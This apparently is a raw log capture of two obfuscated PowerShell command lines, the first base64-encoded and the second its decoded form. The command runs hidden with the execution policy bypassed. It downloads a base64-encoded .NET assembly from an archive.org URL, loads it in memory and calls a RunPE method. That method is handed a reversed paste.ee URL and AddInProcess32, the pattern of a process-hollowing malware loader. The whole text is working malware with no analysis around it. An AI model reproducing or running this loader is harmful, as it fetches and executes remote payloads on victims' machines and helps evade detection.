powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoKFZBUklhQkxlICcqTURyKicpLm5hTWVbMywxMSwyXS1qT2lOJycpKCAoJ3cxJysnWnVybCA9IFZ3M2h0dHAnKydzOi8vJysnaScrJ2E2JysnMDAxMDAudXMuYXJjaGl2ZS5vcmcnKycvMjQnKycvaScrJ3RlbXMvZGV0JysnYWgtJysnbm90ZS12LycrJ0RldGFoTm8nKyd0ZVYudHgnKyd0VnczOycrJ3cxWmJhc2U2JysnNEMnKydvbnRlJysnbnQgPSAoTmV3JysnLU9iaicrJ2VjdCAnKydTeScrJ3N0ZW0uTmV0JysnLlcnKydlYkNsaWVudCkuRG93bmxvYWRTJysndHJpbmcnKycodzFadXJsKTt3JysnMVpiJysnaW4nKydhcicrJ3lDb250ZW50ID0gWycrJ1N5Jysnc3RlbS5DJysnb24nKyd2JysnZXJ0JysnXTo6RicrJ3InKydvbUJhcycrJ2U2NFN0cmluZycrJyh3MVpiYXNlNicrJzRDb250ZScrJ250KTt3MVphc3NlbWJseSA9IFsnKydSZWZsZWN0JysnaScrJ29uLkFzJysnc2VtYmx5XScrJzo6TG9hZCcrJygnKyd3MVonKydiaW5hcnlDb24nKyd0ZW50JysnKTt3MVp0JysneXBlID0gdzFaYXNzJysnZW1iJysnbHkuR2V0VHlwJysnZShWdzMnKydSdScrJ25QRS4nKydIb21lJysnVnczKTt3JysnMVptZXRob2QgPSB3JysnMVonKyd0eScrJ3BlLkdldE1ldGhvZChWdzNWQUlWdzMpO3cxWm0nKydldGgnKydvZCcrJy5JbnZva2UodycrJzFabnVsbCwgJysnWycrJ29iamVjdFtdJysnXUAoVicrJ3czMC9wV2NKJysnbicrJy9kLycrJ2UnKydlLmV0c2FwLy86c3B0dGhWdzMgLCcrJyBWdzNkZXNhdGl2YScrJ2RvVnczICwgJysnVicrJ3czZGVzYXRpdmFkbycrJ1Z3JysnMyAsJysnIFZ3M2QnKydlcycrJ2EnKyd0aXZhZG9WJysndzMsVncnKyczQWRkSW5QJysncicrJ28nKydjZXNzMzJWdzMsJysnVicrJ3czVnczKSknKS5yZXBsQWNlKCdWdzMnLFtzVHJJTkddW0NIYVJdMzkpLnJlcGxBY2UoJ3cxWicsJyQnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
2652powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ((VARIaBLe '*MDr*').naMe[3,11,2]-jOiN'')( ('w1'+'Zurl = Vw3http'+'s://'+'i'+'a6'+'00100.us.archive.org'+'/24'+'/i'+'tems/det'+'ah-'+'note-v/'+'DetahNo'+'teV.tx'+'tVw3;'+'w1Zbase6'+'4C'+'onte'+'nt = (New'+'-Obj'+'ect '+'Sy'+'stem.Net'+'.W'+'ebClient).DownloadS'+'tring'+'(w1Zurl);w'+'1Zb'+'in'+'ar'+'yContent = ['+'Sy'+'stem.C'+'on'+'v'+'ert'+']::F'+'r'+'omBas'+'e64String'+'(w1Zbase6'+'4Conte'+'nt);w1Zassembly = ['+'Reflect'+'i'+'on.As'+'sembly]'+'::Load'+'('+'w1Z'+'binaryCon'+'tent'+');w1Zt'+'ype = w1Zass'+'emb'+'ly.GetTyp'+'e(Vw3'+'Ru'+'nPE.'+'Home'+'Vw3);w'+'1Zmethod = w'+'1Z'+'ty'+'pe.GetMethod(Vw3VAIVw3);w1Zm'+'eth'+'od'+'.Invoke(w'+'1Znull, '+'['+'object[]'+']@(V'+'w30/pWcJ'+'n'+'/d/'+'e'+'e.etsap//:sptthVw3 ,'+' Vw3desativa'+'doVw3 , '+'V'+'w3desativado'+'Vw'+'3 ,'+' Vw3d'+'es'+'a'+'tivadoV'+'w3,Vw'+'3AddInP'+'r'+'o'+'cess32Vw3,'+'V'+'w3Vw3))').replAce('Vw3',[sTrING][CHaR]39).replAce('w1Z','$'))"
2784